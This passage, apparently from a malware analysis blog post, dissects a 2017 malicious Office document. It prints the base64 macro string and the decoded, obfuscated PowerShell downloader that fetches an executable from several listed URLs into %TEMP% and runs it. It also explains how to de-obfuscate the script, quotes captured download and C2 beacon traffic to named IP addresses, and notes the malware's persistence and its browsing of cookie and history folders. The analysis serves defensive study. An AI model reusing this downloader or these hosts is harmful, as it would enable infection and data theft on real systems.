nACwAJwB0AHAAOgAnACwAJwBlAGkAbQAuAGMAJwAsACcAbwBtAC4AdQAnACwAJwByAGIAZQByAG4AaAAnACkALgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBTAHAAbABpACcALAAnAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYQBgAE0AZQB9ACAAPQAgACQAewBSAEEATgBEAGAATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAeAB0ACcALAAnAG4AZQAnACkALgBJAG4AdgBvAGsAZQAoADEALAAgADYANQA1ADMANgApADsAJAB7AFAAYQBgAFQASAB9ACAAPQAgACQAewBlAGAATgB2ADoAdABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAEEAYABtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAcgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAEMAbABpAEUAYABOAHQAfQAuACgAIgB7ADIAfQB7ADAAfQB7ADMAfQB7ADEAfQAiACAALQBmACAAJwBsACcALAAnAEYAaQBsAGUAJwAsACcARABvAHcAbgAnACwAJwBvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBUACcALAAnAG8AUwB0AHIAaQBuAGcAJwApAC4ASQBuAHYAbwBrAGUAKAApACwAIAAkAHsAcABBAGAAVABIAH0AKQA7AC4AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACcAUwB0AGEAcgB0AC0AUAByACcALAAnAG8AYwBlACcALAAnAHMAcwAnACkAIAAkAHsAcABgAEEAdABIAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AC4AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwB3AHIAaQB0AGUALQBoACcALAAnAHMAdAAnACwAJwBvACcAKQAgACQAewBfAH0ALgAiAEUAeABjAEUAUAB0AGAAaQBgAE8AbgAiAC4AIgBtAEUAcwBTAGAAQQBHAGUAIgA7AH0AfQANAAoA End Function
So the line above found within the comments field is nothing more than a long base64 encoded string that looks like this when decoded:
${w`sCR`IPT} = .("{1}{0}{2}" -f 'objec','new-','t') -ComObject ("{4}{0}{3}{2}{1}"-f'rip','Shell','.','t','WSc'); ${WEBc`liE`NT} = .("{3}{2}{0}{1}"-f 'je','ct','ew-ob','n') ("{3}{2}{0}{4}{1}" -f 't','t','.Ne','System','.WebClien'); ${RAn`d`Om} = .("{0}{2}{1}"-f'ne','-object','w') ("{1}{0}{2}"-f 'o','rand','m'); ${u`RLS} = ("{0}{17}{20}{30}{28}{29}{3}{11}{15}{23}{21}{25}{16}{2}{7}{13}{12}{27}{10}{4}{19}{1}{24}{5}{9}{18}{14}{6}{26}{22}{8}" -f 'h','m/JlT','reb.com/SO','y','hocompro.c','tp://okie','hCgGO/,http://qdecisions.com','ghVS/,','z/','mboci','//','/capacitaci','t','h','na.pl/i','on/b','e','ttp://we','a','o','rne','LT','Lrwj','M','szW/,ht','BrcIE/,http://v','/','tp:','eim.c','om.u','rbernh').("{0}{1}"-f'Spli','t').Invoke(','); ${na`Me} = ${RAND`Om}.("{1}{0}" -f 'xt','ne').Invoke(1, 65536); ${Pa`TH} = ${e`Nv:tEMP} + '\' + ${nA`mE} + ("{1}{0}"-f'exe','.');foreach(${u`Rl} in ${Ur`lS}){try{${wEb`CliE`Nt}.("{2}{0}{3}{1}" -f 'l','File','Down','oad').Invoke(${U`RL}.("{0}{1}"-f'T','oString').Invoke(), ${pA`TH});.("{0}{1}{2}"-f'Start-Pr','oce','ss') ${p`AtH};break;}catch{.("{0}{2}{1}" -f'write-h','st','o') ${_}."ExcEPt`i`On"."mEsS`AGe";}}
The above encoded block may look odd, but it is another way of encoding a powershell command using base64 while also using the format operator (http://ss64.com/ps/syntax-f-operator.html). The ‘-f’ operator allows placeholders to be used in the powershell script and how to then place them into the script. For example:
"{1}{0}{2}" -f objec,new-,t --> 0 = objec | 1 = new- | 2 = t ==> new-object
So walking through the script knowing this, you get the following:
${wsCRIPT} = .(new-object) --ComObject (Wscript.Shell); ${WEBcliENT} = .(new-object) (System.Net.Webclient); ${RAndOm} = .(new-object) (random); ${uRLS} = ( = http://wernerbernheim.com.uy/capacitacion/bMLTBrcIE/ http://vereb.com/SOghVS/ http://hocompro.com/JlTszW/ http://okie mbociana.pl/ihCgGO/ http://qdecisions.com/Lrwjz/).Split.Invoke(,); ${naMe} = ${RANDOm}.(next).Invoke(1, 65536); ${PaTH} = ${eNv:tEMP} + \ + ${nAmE} + (.exe); foreach(${uRl} in ${UrlS}) { try {${wEbCliENt}.(FileDownload).Invoke(${URL}.("ToString).Invoke(), ${pATH}); .("Start-Process) ${pAtH};break;} catch {.("write-host) ${_}."ExcEPtiOn"."mEsSAGe";} }
The faster way to decode the above script instead of doing it manually is to use Powersehll itself. In order to do this, take one of the lines above, for example the one for “${w`sCR`IPT}” and type the following at the Powershell prompt: “write-host ${w`sCR`IPT} = .(“{1}{0}{2}” -f ‘objec’,’new-‘,’t’) -ComObject (“{4}{0}{3}{2}{1}”-f’rip’,’Shell’,’.’,’t’,’WSc’);” minus the quotes as seen below:
Note: I didn’t know about the above method until I read @dvk01uk’s post. Thanks for the tip dvk01uk!
Analysis:
=========
From the network traffic perspective, once the maldoc is run, there is the initial call to the site ‘wernerbernheim[.]com[.]uy/capacitacion/bMLTBrcIE/’ to download the malicious binary:
GET /capacitacion/bMLTBrcIE/ HTTP/1.1 Host: wernerbernheim.com.uy Connection: Keep-Alive HTTP/1.1 200 OK Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Content-Type: application/octet-stream Server: Microsoft-IIS/8.5 Content-Disposition: attachment; filename="GVhZFRnuDfWvPO.exe" Content-Transfer-Encoding: binary X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Fri, 25 Aug 2017 11:54:24 GMT Content-Length: 86016 MZ......................@............................................. .!..L.!This program cannot be run in DOS mode. $.........d=..
which is saved to the %TEMP% directory of the system. Next, from what I can piece together from the separate runs of the malware and the ensuing PCAPs, the malicious binary that was downloaded then starts calling out in the form of POST requests using both port 443 (not HTTPS though), and port 8080:
POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 62.39.95.185:443 Content-Length: 500 Connection: Keep-Alive Cache-Control: no-cache Q7.....b..).....s......O.....ty. ............I.Q*4s4..O!...jg......vt.>..s%G0n.......2.V......n..o%EJwI.7MT.f...QY-.k...U...!v..............cq..;.......LTA...84.Gkk.K....@....n...p Vy......]OLE..O.~..1 ....6,.t.`.........Q*D..H($..` W....{............0.:.)........|.[.NEN.....{.[.VH$........."..`.7Vt.17.:1.......% ..N_..B...OH.. ..X..o./...{.....).....l.t..W......Eb..l.e..g....n...2c......J..3........>Hv4...r.d.._h.......$.|.W4.$e.X.U*..GI3Sd.Y.4C.{..wXC.............9...[/.J.>4=..+....y....*C..v. HTTP/1.1 404 Not Found Server: nginx Date: Fri, 25 Aug 2017 11:56:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 132 Connection: keep-alive .)I..,.....{_n..b...SMh..q).H......)KyC.P.8J.Z...zdm.g/]2.E..n ...:.Q. .....=>~.....d..1..t..{.HEZ..{.C|...D...[.r.[7..PwQ...|.c..!. ----- POST / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 104.236.252.178:8080 Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache ..c.. . \..r.hm.........1.t.F.ee.~....E#1w....qD...{ ...... .......?j..~..}.....].d...,....j.. ..:%H+X....cD./`<rb.....b...8....}........)!....9.G..a..dz..Y..~...dl.....v.....u.3-"....K$... ...".nT...az,Rt...@.._T8.@m.. ..t-.....d...Ew.Vm.rX..<..T......Q...]...G./...5......G..k...C.&#ePi.e..#..|.fL|...].L.-..6.....E.wB....p..e)u....Zr)A_.\Y.K.,X..(........oGi.....FwE..j(..?..Y.&. . .HT..%y...6..IU.....od..T.T?..YZFL......]|o.YC*....s..*..8.R:.....[,.0.RZ<!:...k..2...Sp...[S...^... .T0?r...3......7..8_...o..... HTTP/1.1 404 Not Found Server: nginx Date: Mon, 28 Aug 2017 09:04:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 132 Connection: keep-alive .)I..,.....{_n..b...SMh..q).H......)KyC.P.8J.Z...zdm.g/]2.E..n ...:.Q. .....=>~.....d..1..t..{.HEZ..{.C|...D...[.r.[{.......<.>..e..
From the host perspective, this is pretty straight forward. The file “GVhZFRnuDfWvPO.exe” executes itself, and spawns another copy of itself in the same location. This instance of “GVhZFRnuDfWvPO.exe” then proceeds to perform a SetRenameInformationFile operation and creates the file “serviceprov.exe” which is the same file as “GVhZFRnuDfWvPO.exe” but now in a new location – C:\Users\%username%\AppData\Local\Microsoft\Windows. This initial instance proceeds to spawn another copy of itself and is the process that is responsible for the POST commands seen above in the PCAP.
Also looking into the ProcMon log, I can see that it is this process that is looking through different folders within my VM (ie: Windows History, cookies, etc…). Lastly we see that the process writes itself to the registry to establish persistence: